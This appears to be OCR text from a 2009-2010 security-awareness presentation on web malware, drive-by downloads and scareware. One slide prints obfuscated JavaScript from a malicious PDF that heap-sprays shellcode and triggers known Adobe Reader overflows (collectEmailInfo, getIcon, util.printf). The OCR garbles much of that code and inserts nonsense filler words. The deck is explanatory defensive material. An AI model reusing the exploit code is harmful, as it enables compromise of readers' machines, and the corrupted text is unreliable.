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GOASBERGEN]
“To protect our network against computer viruses,
our IT Department has issued a ban on any use of

e-mail attachments. For further details, please
refer to the attached document.”
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[_The Growing Malware Threat
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- Designer Malware

A Professionally targeted to weakest links
o Poorly configured Web servers
o Vulnerable publishing platforms
0 Un-patched Internet -facing databases

A Obfuscated JavaScript code inserted on hacked Web pages

o0 Redirects to remote server hosting exploits

0 Serves custom malware based on Windows OS version, browser version,
patch level, vulnerable third party apps

o Fires exploits simultaneously at IE, WinZip, Java, QuickTime, ActiveX
controls, even Firefox € wuntil exploit

A Payload: Backdoor Trojans, password stealers, banker Trojans,
spam bots
o This is the work of highly skilled, well -organized cyber criminals
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|_How To Become A Money Mule
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|_The Web Under Permanent Siege

A Hacked Web sites deliver drive  -by downloads

Al t 6 no loan gwWwelysitgsu s t

77 percent of Web sites with malicious code are legitimate sites that
have been compromised

82% of websites have had a high, urgent or critical issue

Average number of serious unresolved vulnerabilities per website: 7
Average number of inputs (attack surface) per website: 227

I >\

A Vulnerabilities/exploits are ready  -made, publicly available

A The (un-patched) state of Windows
0 Secunia PSI statistics: Only 2% of Windows computers fully patched
0 ActiveX control vulnerabilities hard to find, fix
o0 The Adobe Acrobat/PDF, Flash, RealPlayer, WinZip and QuickTime
monocultures
o Browser flaws everywhere: |IE, Firefox, Safari, Opera
o Browser plug -ins: A bigger nightmare

4, 2010 opyrig 009. All RIg
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r_Examples of Malicious Adobe PDF File

Client Side Application Vulnerability

"3fsu07d7s ", "u223£5usca”, "esuiia ", "Esuld”, "eosu?”, "f2ds ulseas 7, "uTh61susce”, "Tdsurdz 13 u”, "41d4s u7c60”, "suldcosut”, "z 15ulzces ", "us62hbsu”, "1bA3suz 13", "
sulbcésu?”, "13£5udec”, "73u3e7esul”, "acssuz52"”, "bsuss9", "3 u7d3 ", "dsuded?”, "su73205uc8”, "a3sul®, "a4£5u7", "3a35ul84”, "£5u73a3sul”, "84£5u73a3% ", "uls4fiuria”,
"35uthilsu”, "73a3%u7d0", "85 u23d7s ", "u773dsu32”, "e0su7ezb”, "sul6dis ", "usb3csu”, "34a3subc2”, tasul 67", "Su682", "25ul2£35u", *703bsuT3e”, 125 u77035u", *17c25u7103
®, reu0iclisusa”, "2esuizda”, "sudf4fsuld”, "easub00as ", "ullc6suad”, "afsu0idesu”, "75235uld”, "eosu?”, "eblsulfet”, "sudd4fsu3£”, *E15u7", "70bsuldd”, *45u77235ul",
"7e2su?”, "Tibsu”, "laeS5su7d2", "35u73e25us"”, "Se65u77h”, "suls4fsu3”, "0285u9", "3735u70", *e75uss5"”, "375u70d75 ", "u95535u3”, "f1esuls4bs ", "uc2a3zub5”, "dcsuabaz”, "
suefedsu”, "066a5uld”, "h7suldles”, "ulB4csut”, "eadsusa’, "£25u73a0% ", "ud34£suz”, "3165ul”, "84bsu”, "faadsud”, "1b55udis"”, "as ub 68", "E5ubedasud”, "7e8su”, "6asas ",
"uc37esuz”, "50esudddc”, "su77Ehsul”, "84f5ubsS2 ", "asudicE”, " uds550%uds”, "eesu7S5d7: ", "usl11”, "su30745u”, "f0adsu”, "az£ds ", "ulbac”, "su273esul”, "84hsu”, "7ecaizu”,
"O3£8%", "u90625ul”, "hadsu3 ", "£3e3ul”, "84bsut”, "8a3sulb”, "dcsuzb”, "265u1s84b”, "sufda3szuie”, "f25u73a”, "0sub34£5u”, "eez4s ", "ulb215u73 ", "a3su2 7oLt ", "u0e 18",
sudbeb%”, "u73a3sul”, "84£5u”, "73a35u”, "184£5u”, "73a3%u", "184£5u73", "a3sulB4a”, "£3u73a3"”) ; Jelse if (W3AEKLEZF == 1) {var ovkHSxPYh = 0x30303030;var diOVf08h =
new Array("su9c60%u”, "00e8%u", "00005u5d"”, "00%ued83”, "sub807% ", "ufc39%u7h”, "855ud4hosu”, "00045u3 ", "1005u0d44", "susilas ", "uldedsu”, "£775%5 ucde"”, "55ulf", "48
sufg93asu”, "7hhasut”, "e39%u7", "TE05ubch2 ", " uf0845u”, "e0495 uf02 ", "55uf461% ", "u7263% ", "ubch2”, "suffhosud”, "0795u230", "35ul1405", *5u780cs ", "ufe39”, "sueelS5uL”,

Double fount slab antic pecan.

Gamma sparks sguid carusoc brief cortex steak. Broke elm lands gowns bail cherub well. Hippo decay 7th 14952
frenzy 3333. Oar focal gasp devoid even edith. Inert rakes latest hops seth dublin whee.

Li ken wasp wheat tu too zd autumn eros ralids armor. Deem g a punks cord crate gluing spock twv frog yin
warn. Shy baboon bulk dire burnt sworn hp lcd peed paddy. Nuance sst chuck units moth. Strum bill cowl
larynx mud acids buns. E1f nb roth lick lack puke expo mirv. Stump glue vt mother firm ceolony rosy ot
nerve aminoc useful. Dead war merit rusts abhor saran oy pox stella sailils mno poet. Dead war merit rusts

7 T 7 T— 7 7 = — T T T 7 T T T

unescape (diOVE£08h. join("") ) ;var cBEaUhkGo = 0Ox400000;var zySpuacsC = diOVf0S8h.length * 2Z;var wIHQjuS7p = cBEaUhkGo - (zySpuacsC + 0x38);var amBSqgilhuiz =
unescape ("3u9090%u9090") ; amBSgbu3dz = nEWwgSPbC (amBSgNbu3z, wIHQjuS7p):;var gsI4QSR3 = (ovkH8xPYh - 0x400000) / cBEaUhkGo:;for(var gDMINAd9oW = 0; gDMINA9oW
gsI40QS5R3; gDMINASoW++) {eqfTpgIld6[gDMINASoW] = amBSgilhu3z + AiOVE0Sh:}}function kgPLIhPyD () {var ywcriA38I = D;var gklNecTCgr = app.viewerVersion.to3tringi():
app.clearTimeOut (wS526VsSQE) ;if ( (gklNecTCqr >= 8 && gklNecTCqr < 8.102) || gkNecTCgr < 7.1) {kbOVkGX7Zs(0):;var rFurzFhin = unescape (":ulcOciulcOc™) ;while
rFwrzFhln.length < 44952) rFwrzFhln += rFwrzFhln;var nzr¥9535D0 = this;var e3DYS8PNw4d = Collab;nzr¥95j5D.collabStore = e3DYSPNw4.collectEnmailInfo({subj : ""
wsy : rFwrzFhin});}if({ (gkNecTCqgr >= 8.102 && gkNecTCqgr < 5.104) || (gkNecTCqgr >= 9 && gkNecTCqgr < S.1) || gklNecTCqgr <= 7.101){try{if (app.doc.Collab.
getIcon) { kbOVKGX7Zs (2) ;var hXdwcOzGx = unescape ("509") ;while (hXdwcOzGx. length < 0x4000) { h¥dweOzGx += hXdweOzGx; hXdweOzGx = "N." + hEdwcOzGx:var
PRGEONuUCRR = app:;pRGEOnuCRR.doc.Collab.getIcon (hZdweOzGx) ; ywerd38I = 1) }else{ywcrd38I = 1;}}catchie) {ywcrd38I = 1;}if (ywcrd38I == lj{ifigkNecTqu == §.102
|| gkNecTCgr == 7.1){kbOVkGX72s (1) ;var cCw4GnMGJ = "12999999999999999999" ; for (yLB4w7gDOw = 0; yLB4w7gDOw < 276; yLB4w7gDOuw++) {cCw4GnMGJI += "S":}var
wveDJiFthXD = util;veDjFthXD.printf ("%45000£", cCw4GnMGJ):}}}}app.gQrxKbfeC = kgPtIhPyD;wS526VsSQE = app.setTimeOut ("app.gQrxEbhfeC() "™, 10):;
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|_Examples of Malicious Adobe PDF File g

Multiple Vulnerabilities Exploited

A This PDF contained upwards of 5 separate PDF vulnerabilities
that can do anything from password stealing to remote code
execution. If you look at the bottom of javascript example
there is a section where it actually says " collectEmailinfo " which
IS just one of the previously known Adobe vulnerabilities which
can be used as part of a buffer overflow, allowing the launch
of any exe on your system. This happens silently without any
authorization.

A You can get this PDF as an email attachment, or as a drive by
download from the web (a specially crafted web page auto
launches the PDF just by opening the site and then infects you.)




=

The Web under permanent siege

B Application
Vulnerabilities

B Browser
Vulnerabilities

B Operating System
Vulnerabilities
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"T heard on TV that everyone is getting rich
on the Internet. Is this little slot
where the money comes out?"
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Highly Organized Cyber -Criminal Activity
AScareware = fake (rogue) security software
. . . . | WANT
I Implies your computer is at risk MONEY

IEnti ces you to buy softwar
AWondt protect you from threats
AWondt remove threat already on

s What Is Scareware? [CNCUERCAT

AUsually part of a larger malware scheme or botnet o
it Is the real threat!

AOrganized criminals that earn huge weekly salaries
through a low -risk, online scam

O ... A .. »
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[_The Scareware Epidemic

| t 0SS mMmMuch WwWor S e Sk

A Three of the top 25 —
malware families in 1H09 :
were scareware
programs:

I FakeXPA,
I Winwebsec
I Yektel

I ' '\ L}

Adware

tealers & Monitocing Tooks

= F F 5 = =

232/ FakaXPA Mescellaneous Trotans 2.984.497 1.691.39)

A Another family,
Win32/ Renos, is also used
to install scareware

S ¥ 5 % > 5 % 55 55 %5 =
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[_What Does

Appears in Many Forms

A Distribution and Affiliate -
based model

T Affiliate bonuses

i VIP points and prizes ,

Attention, Forensics! Some dangerous trojan horses detected in your system. Microsoft
‘Windows XP files corrupted.

I Thi lead to the destructi fi tant files in C:YWINDOWS, D load
A Payout for every install of L e e
ro g u e SOftware | Click OK to download the antispyware. (Recommended)

A Greater commissions for
installation of software that
contains malicious code

Get Maximal
Realtime
Protection
with Antivirus %P
2008
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|_The Scareware Threat CLUELESS
What Can Scareware Do To Me? IS NO

[EXCUSE

A Gives a person a false Security
I Promises protection
I User assumes they are cleaned and protected

A Legitimate security software is often disabled when registering
a rogue product

A Scareware may actually INSTALL malicious code

A Personal Information is given to purchase rogue software
I Identity theft threat
I Additional fraudulent charges to credit cards

A You lose money - $30 to $100 per transaction

February 14, 2010 Copyright 2009. All Rights Reserved.
e



KAJPZR{KY 3

[_How Can | Get Scareware?

A Classic Social
Engineering
Technique

Alt s not just malicious
sites that are
launching these
attacks

A Distributed in SPAM

A Often found in
search results for
removal tools
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